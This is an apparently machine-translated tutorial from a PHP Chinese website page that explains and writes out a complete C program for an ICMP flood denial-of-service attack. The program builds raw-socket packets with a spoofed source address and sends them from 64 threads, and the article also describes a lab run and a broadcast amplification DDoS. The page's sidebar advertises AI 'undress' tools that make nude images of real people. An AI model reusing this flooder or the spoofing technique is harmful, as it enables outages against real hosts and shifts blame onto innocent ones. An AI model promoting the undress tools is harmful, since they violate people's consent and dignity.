


This article mainly introduces the relevant information of ICMP flood attack in LinuxProgramming to everyone. It has certain reference value. Interested friends can refer to it
me In the previous article "Implementation of PING in Linux Programming", the ICMP protocol was used to implement the PING program. In addition to implementing such a PING program, what other unknown or interesting uses does ICMP have? Here I will introduce another well-known black technology of ICMP: ICMP flood attack.
ICMP flood attack is a type of the famous DOS (Denial of Service) attack, which is a favorite attack method of hackers. In order to deepen my understanding of ICMP, I also try I am writing an ICMP flood attack applet based on ICMP.
FLOOD ATTACK refers to a network that uses computer network technology to send a large number of useless data packets to the destination host, making the destination host busy processing useless data packets and unable to provide normal servicesBehavior.
ICMP flood attack: As the name suggests, it is to send a flood of ping packets to the destination host, making the destination host busy processing ping packets and unable to process other normal requests. This is like a flood of ping packets. The destination host was flooded.
To implement ICMP flood attack, the following three knowledge reserves are required:
DOS attack principle
In-depth understanding of ICMP
Raw socket programming skills
##1. ICMP flood attack principle
2. ICMP Flood Attack Program Design
model of the attackPicture:
1. Group ICMP packet
The packet group here is not much different from the packet group when writing the PING program. The only thing that needs to be noted is that we need to fill in the IP header part because we want to disguise the source address and put the blame on others.
void DoS_icmp_pack(char* packet) { struct ip* ip_hdr = (struct ip*)packet; struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip)); ip_hdr->ip_v = 4; ip_hdr->ip_hl = 5; ip_hdr->ip_tos = 0; ip_hdr->ip_len = htons(ICMP_PACKET_SIZE); ip_hdr->ip_id = htons(getpid()); ip_hdr->ip_off = 0; ip_hdr->ip_ttl = 64; ip_hdr->ip_p = PROTO_ICMP; ip_hdr->ip_sum = 0; ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址 ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址 icmp_hdr->icmp_type = ICMP_ECHO; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8)); //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了 }
2. Build a contract sending thread
void Dos_Attack() { char* packet = (char*)malloc(ICMP_PACKET_SIZE); memset(packet, 0, ICMP_PACKET_SIZE); struct sockaddr_in to; DoS_icmp_pack(packet); to.sin_family = AF_INET; to.sin_addr.s_addr = dest; to.sin_port = htons(0); while(alive) //控制发包的全局变量 { sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr)); } free(packet); //记得要释放内存 }
3. Write the packet sending switch
The switch here is very simple and can be realized by using semaphore + global variable. When we press ctrl+c, the attack will be turned off.
void Dos_Sig() { alive = 0; printf("stop DoS Attack!\n"); }
4. Overall Architecture
We used 64 threads to send packets together. Of course, the number of threads can be greatly increased to increase the intensity of the attack. But we are just doing experiments, there is no need to make it so big.
int main(int argc, char* argv[]) { struct hostent* host = NULL; struct protoent* protocol = NULL; int i; alive = 1; pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包 int err = 0; if(argc < 2) { printf("Invalid input!\n"); return -1; } signal(SIGINT, Dos_Sig); protocol = getprotobyname(PROTO_NAME); if(protocol == NULL) { printf("Fail to getprotobyname!\n"); return -1; } PROTO_ICMP = protocol->p_proto; dest = inet_addr(argv[1]); if(dest == INADDR_NONE) { host = gethostbyname(argv[1]); if(host == NULL) { printf("Invalid IP or Domain name!\n"); return -1; } memcpy((char*)&dest, host->h_addr, host->h_length); } rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP); if(rawsock < 0) { printf("Fait to create socket!\n"); return -1; } setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1")); printf("ICMP FLOOD ATTACK START\n"); for(i=0;i<THREAD_MAX_NUM;i++) { err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL); if(err) { printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]); } } for(i=0;i<THREAD_MAX_NUM;i++) { pthread_join(attack_thread[i], NULL); //等待线程结束 } printf("ICMP ATTACK FINISHI!\n"); close(rawsock); return 0; }
3. Experiment
This experiment is for the purpose of learning. I want to use my own hands to I want to further understand the application of the network and protocols, so the scope of the attack is relatively small, it only lasts a few seconds, and it does not affect any equipment.
Let’s talk about our attack steps again: We use host 172.0.5.183 as our attack host, disguise ourselves as host 172.0.5.182, and launch an ICMP flood attack on host 172.0.5.9.
The attack begins
Let’s observe the situation on the “victim” side. In just 5 seconds, more than 70,000 packets were correctly received and delivered to the upper layer for processing. I don't dare to do too much to avoid affecting the work of the machine.
Use wireshark to capture the packets and take another look. They are full of ICMP packets, which seems to be quite large. The source address of the ICMP packet is shown as 172.0.5.182 (our spoofed address), and it also sends an echo reply back to 172.0.5.182. The host 172.0.5.182 will definitely think that it is inexplicable why it received so many echo reply packets.
The attack experiment is completed.
What is more popular now is the DDOS attack, which is more powerful, has more sophisticated strategies, and is more difficult to defend.
In fact, this kind of DDoS attack is also launched on the basis of DOS. The specific steps are as follows:
1. The attacker broadcasts an echo request message to the "amplification network"
2. The attacker specifies the source IP of the broadcast message as the attacked host
3. "Zoom the network" and echo reply to the attacked host
4. Form a DDoS attack scenario
Here's " "Amplified network" can be understood as a network with many hosts whose operating systems need to support responding to certain ICMP request packets whose destination address is a broadcast address.
The attack strategy is very sophisticated. In short, it is to disguise the source address as the IP address of the attacking host, and then broadcast it to all hosts. After receiving the echo request, the hosts collectively send messages to the attacking host. Return the package, causing a group attack.
The above is the detailed content of Linux--Instance introduction of ICMP flood attack. For more information, please follow other related articles on the PHP Chinese website!

MaintenanceModeinLinuxisaspecialbootenvironmentforcriticalsystemmaintenancetasks.Itallowsadministratorstoperformtaskslikeresettingpasswords,repairingfilesystems,andrecoveringfrombootfailuresinaminimalenvironment.ToenterMaintenanceMode,interrupttheboo

The core components of Linux include kernel, file system, shell, user and kernel space, device drivers, and performance optimization and best practices. 1) The kernel is the core of the system, managing hardware, memory and processes. 2) The file system organizes data and supports multiple types such as ext4, Btrfs and XFS. 3) Shell is the command center for users to interact with the system and supports scripting. 4) Separate user space from kernel space to ensure system stability. 5) The device driver connects the hardware to the operating system. 6) Performance optimization includes tuning system configuration and following best practices.

The five basic components of the Linux system are: 1. Kernel, 2. System library, 3. System utilities, 4. Graphical user interface, 5. Applications. The kernel manages hardware resources, the system library provides precompiled functions, system utilities are used for system management, the GUI provides visual interaction, and applications use these components to implement functions.

Linux maintenance mode can be entered through the GRUB menu. The specific steps are: 1) Select the kernel in the GRUB menu and press 'e' to edit, 2) Add 'single' or '1' at the end of the 'linux' line, 3) Press Ctrl X to start. Maintenance mode provides a secure environment for tasks such as system repair, password reset and system upgrade.

The steps to enter Linux recovery mode are: 1. Restart the system and press the specific key to enter the GRUB menu; 2. Select the option with (recoverymode); 3. Select the operation in the recovery mode menu, such as fsck or root. Recovery mode allows you to start the system in single-user mode, perform file system checks and repairs, edit configuration files, and other operations to help solve system problems.

The core components of Linux include the kernel, file system, shell and common tools. 1. The kernel manages hardware resources and provides basic services. 2. The file system organizes and stores data. 3. Shell is the interface for users to interact with the system. 4. Common tools help complete daily tasks.

The basic structure of Linux includes the kernel, file system, and shell. 1) Kernel management hardware resources and use uname-r to view the version. 2) The EXT4 file system supports large files and logs and is created using mkfs.ext4. 3) Shell provides command line interaction such as Bash, and lists files using ls-l.

The key steps in Linux system management and maintenance include: 1) Master the basic knowledge, such as file system structure and user management; 2) Carry out system monitoring and resource management, use top, htop and other tools; 3) Use system logs to troubleshoot, use journalctl and other tools; 4) Write automated scripts and task scheduling, use cron tools; 5) implement security management and protection, configure firewalls through iptables; 6) Carry out performance optimization and best practices, adjust kernel parameters and develop good habits.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

Dreamweaver Mac version
Visual web development tools

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment

SAP NetWeaver Server Adapter for Eclipse
Integrate Eclipse with SAP NetWeaver application server.

DVWA
Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software